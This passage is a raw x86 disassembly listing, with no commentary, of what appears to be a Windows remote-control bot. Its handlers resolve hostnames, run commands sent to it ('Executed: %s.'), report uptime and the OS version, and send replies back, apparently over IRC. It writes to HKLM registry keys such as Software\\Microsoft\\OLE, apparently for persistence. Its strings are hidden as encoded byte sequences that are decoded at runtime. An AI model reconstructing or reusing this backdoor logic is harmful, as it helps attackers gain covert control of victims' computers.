jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_405194: ; CODE XREF: sub_404CC0+3CBj
lea ecx, [edi+0D99h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_4051B7
mov byte_4D809C, al
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_4051B7: ; CODE XREF: sub_404CC0+4E9j
lea ecx, [edi+0D3Dh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40547E
lea ecx, [esp+178h+var_11C]
call sub_40142E
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_405241
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_405241: ; CODE XREF: sub_404CC0+56Bj
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017EE
push eax
nop
call near ptr 71AB2BF4h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_405314
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
call near ptr 71ABE479h
nop
mov edi, eax
test edi, edi
jz loc_4053F5
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017EE
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40545B
; ---------------------------------------------------------------------------
loc_405314: ; CODE XREF: sub_404CC0+5C7j
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017EE
push eax
nop
call near ptr 71AB4FD4h
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053F5
mov ecx, [edi+0Ch]
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016B8
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_4053F5: ; CODE XREF: sub_404CC0+5E0j
; sub_404CC0+691j
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017EE
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40545B: ; CODE XREF: sub_404CC0+64Fj
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_40547E: ; CODE XREF: sub_404CC0+50Cj
lea ecx, [edi+0BCDh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40556C
lea ecx, [edi+9]
call sub_4017EE
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402040
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+190h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+198h+var_4], ebx
call sub_4019C4
add esp, 20h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8085
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E55
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_40556C: ; CODE XREF: sub_404CC0+7D3j
lea ecx, [edi+0E23h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4056DA
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013E3
mov ecx, edi
mov ebx, eax
call sub_4013E3
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013E3
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_4056BD
lea ecx, [esp+178h+var_14C]
call sub_40142E
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013E3
add eax, 2
mov ecx, esi
push eax
call sub_401479
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015E1
lea ecx, [esp+178h+var_164]
call sub_40142E
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017EE
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017EE
push eax
nop
call near ptr 77C293C7h
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_405674
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405692
; ---------------------------------------------------------------------------
loc_405674: ; CODE XREF: sub_404CC0+997j
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405692: ; CODE XREF: sub_404CC0+9B2j
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_4056B8: ; CODE XREF: sub_404CC0+1D4j
; sub_404CC0+2AFj ...
call sub_401226
loc_4056BD: ; CODE XREF: sub_404CC0+91Cj
; sub_404CC0+C6Aj
xor al, al
loc_4056BF: ; CODE XREF: sub_404CC0+6Fj
; sub_404CC0+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_4056DA: ; CODE XREF: sub_404CC0+8C1j
lea ecx, [edi+0C85h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405750
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F5A
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405750: ; CODE XREF: sub_404CC0+A2Fj
lea ecx, [edi+0CE1h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405841
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E55
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019C4
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E8E55
mov [esp+178h+var_4], 1Ah
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8085
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405841: ; CODE XREF: sub_404CC0+AA5j
lea ecx, [edi+0CB3h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405915
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_4058A9
mov ebx, 7
loc_4058A9: ; CODE XREF: sub_404CC0+BE2j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40195B
push offset byte_448F40
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058FE
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
loc_4058FE: ; CODE XREF: sub_404CC0+C11j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405915: ; CODE XREF: sub_404CC0+B96j
lea ecx, [edi+0DF5h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4056BD
lea ecx, [esp+178h+var_100]
call sub_40142E
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019C4
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A9B
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_511764
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019C4
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017EE
mov edx, [esp+19Ch+var_17C]
push eax
push edx
nop
call near ptr 2930000h
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_511740
push eax
call edi
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017EE
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017EE
mov ebp, dword_51176C
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017EE
push eax
call sub_401604
sub_404CC0 endp
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh
dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h
dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h
dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh
dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh
dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
dd 0E89050FFh, 23DB041h, 1024548Dh, 78244C8Dh, 3F6852h
dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h
dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h
dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h
dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
dd 50FFFFB9h, 0AEFBE890h, 448D023Dh, 4C8D1024h, 68507824h
dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
dd 0FFFFBE61h, 0E9E89050h, 6A023EA1h, 6A056A00h, 6A056A18h
dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h
dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h
dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 3DADBCE8h
dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh
dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h
dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23EA09Ch, 56A006Ah
dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h
dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 0E850FFFFh
dd 23DAC6Dh, 24548D90h, 244C8D10h, 3F685278h, 6A000F00h
dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh
dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh
dd 23E9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh
dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23DAB2Dh, 24448D90h
dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh
dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h
dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_406730 proc near ; CODE XREF: sub_40195Bj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_406730
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_40142E
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406781
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_402112
mov [esp+38h+var_28], ebp
jmp loc_406827
; ---------------------------------------------------------------------------
loc_406781: ; CODE XREF: sub_406730+3Aj
nop
call near ptr 27E0C08h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_406813
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014D3
jmp short loc_406823
; ---------------------------------------------------------------------------
loc_406813: ; CODE XREF: sub_406730+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_448F40
mov ecx, esi
call sub_401870
loc_406823: ; CODE XREF: sub_406730+E1j
mov [esp+38h+var_28], ebp
loc_406827: ; CODE XREF: sub_406730+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_406730 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4068A0: ; CODE XREF: ___:00401672j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_448F40
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401870
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4068E0 proc near ; CODE XREF: sub_401F5Aj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4068E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_40142E
mov [esp+1A4h+var_4], 1
call near ptr 27E0C08h
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2820000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
call near ptr 2810000h
nop
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_4069AE
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406996
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406986
mov ebp, offset a95 ; "95"
jmp loc_406A21
; ---------------------------------------------------------------------------
loc_406986: ; CODE XREF: sub_4068E0+9Aj
cmp eax, 2
jnz loc_406A1D
mov ebp, offset aNt ; "NT"
jmp short loc_4069EA
; ---------------------------------------------------------------------------
loc_406996: ; CODE XREF: sub_4068E0+8Ej
cmp eax, 0Ah
jnz short loc_4069A2
mov ebp, offset a98 ; "98"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069A2: ; CODE XREF: sub_4068E0+B9j
cmp eax, 5Ah
jnz short loc_4069DB
mov ebp, offset aMe ; "ME"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069AE: ; CODE XREF: sub_4068E0+83j
cmp eax, 5
jnz short loc_4069DB
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_4069C5
mov ebp, offset a2000 ; "2000"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069C5: ; CODE XREF: sub_4068E0+DCj
cmp eax, 1
jnz short loc_4069D1
mov ebp, offset aXp ; "XP"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069D1: ; CODE XREF: sub_4068E0+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_4069E0
loc_4069DB: ; CODE XREF: sub_4068E0+C5j
; sub_4068E0+D1j
mov ebp, offset a??? ; "???"
loc_4069E0: ; CODE XREF: sub_4068E0+C0j
; sub_4068E0+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_406A21
loc_4069EA: ; CODE XREF: sub_4068E0+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_406A21
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
nop
call sub_5F74D1
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_406A21
; ---------------------------------------------------------------------------
loc_406A1D: ; CODE XREF: sub_4068E0+A9j
mov ebp, [esp+1A4h+var_198]
loc_406A21: ; CODE XREF: sub_4068E0+A1j
; sub_4068E0+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
call near ptr 28010B2h
nop
lea edx, [esp+1A4h+var_194]
